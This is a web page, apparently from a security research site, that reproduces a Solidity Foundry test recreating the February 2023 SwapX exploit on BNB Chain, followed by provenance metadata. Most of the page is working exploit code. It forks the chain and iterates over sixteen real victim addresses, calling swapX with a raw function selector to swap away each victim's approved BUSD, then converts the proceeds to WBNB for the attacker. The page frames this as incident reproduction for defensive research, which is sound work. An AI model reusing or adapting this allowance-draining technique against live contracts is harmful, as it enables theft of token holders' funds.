Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/SwapX_exp.sol

Public reproduction file for dataset entry - swapX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/SwapX_exp.sol82 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1630111965942018049
9// https://twitter.com/peckshield/status/1630100506319413250
10// @TX
11// https://bscscan.com/tx/0x3ee23c1585474eaa4f976313cafbc09461abb781d263547c8397788c68a00160
13contract ContractTest is Test {
14 address swapX = 0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01;
15 IERC20 DND = IERC20(0x34EA3F7162E6f6Ed16bD171267eC180fD5c848da);
16 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
17 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
18 Uni_Router_V2 Router = Uni_Router_V2(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8);
19 address[] victims = [
20 0x0b70e2Abe6F1A056E23658aED1FF9EF9901CB2A3,
21 0x210C9E1d9E0572da30B2b8b9ca57E5e380528534,
22 0x6906f738daFD4Bf14d6e3e979d4Aaf980FF5392D,
23 0x708a34D4C5a7D7fd39eE4DB0593be18df58fd227,
24 0x48ba64b8CBd8BBcE086E8e8ECc6f4De34AA35D08,
25 0xBF57dea8e19022562F002Da6b7bbe2A2DB85c2c0,
26 0x4148b0B927cC8246f65AF9B77dfA84b60565820c,
27 0x57070188BAA313c73fffDbA43c0ABE17fbFB41f9,
28 0x08943873222CE63eC48f8907757928dcb06af388,
29 0x047252B87FB7ecb7e29F8026dd117EB8B8E6cF0f,
30 0x8C51b7BB3f64845912616914455517DF294A0d0B,
31 0x91243b8242f13299C5af661ef5d19bfE0D3bf024,
32 0xfe23ea0CEC98D54A677F4aD3082D64f8A0207eB7,
33 0x54D7AFCaF140fA45Ff5387f0f2954bC913c0796F,
34 0x76bf18aFED5AcCFd59525D10ce15C4B8Cb64370d,
35 0xe5d985b7b934dc0e0E1043Fc11f50ba9E229465C
36 ];
38 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
40 function setUp() public {
41 cheats.createSelectFork("bsc", 26_023_088);
42 cheats.label(address(swapX), "swapX");
43 cheats.label(address(DND), "DND");
44 cheats.label(address(BUSD), "BUSD");
45 cheats.label(address(WBNB), "WBNB");
46 cheats.label(address(Router), "Router");
47 }
49 function testExploit() external {
50 deal(address(DND), address(this), 1_000_000 * 1e18);
51 for (uint256 i; i < victims.length; ++i) {
52 uint256 transferAmount = BUSD.balanceOf(victims[i]);
53 if (BUSD.allowance(victims[i], swapX) < transferAmount) {
54 transferAmount = BUSD.allowance(victims[i], swapX);
55 if (transferAmount == 0) continue;
56 }
57 address[] memory swapPath = new address[](3);
58 swapPath[0] = address(BUSD);
59 swapPath[1] = address(WBNB);
60 swapPath[2] = address(DND);
61 uint256 value = 0;
62 uint24[] memory array = new uint24[](16);
63 array[0] = 65_536;
64 array[11] = 257;
65 swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));
66 }
68 DNDToWBNB();
70 emit log_named_decimal_uint(
71 "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
72 );
73 }
75 function DNDToWBNB() internal {
76 DND.approve(address(Router), type(uint256).max);
77 address[] memory path = new address[](2);
78 path[0] = address(DND);
79 path[1] = address(WBNB);
80 Router.swapExactTokensForTokens(DND.balanceOf(address(this)), 0, path, address(this), block.timestamp);
81 }

Analysis

Dataset entry

Public Foundry test for “- swapX” (2023-02-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
swapX
Path
src/test/2023-02/SwapX_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
24597b336c6fd2769be5a8de2ad025dfa3b90268
Language
Solidity
Size
83 lines
Date
2023-02-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/SwapX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 24597b336c6fd2769be5a8de2ad025dfa3b90268, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.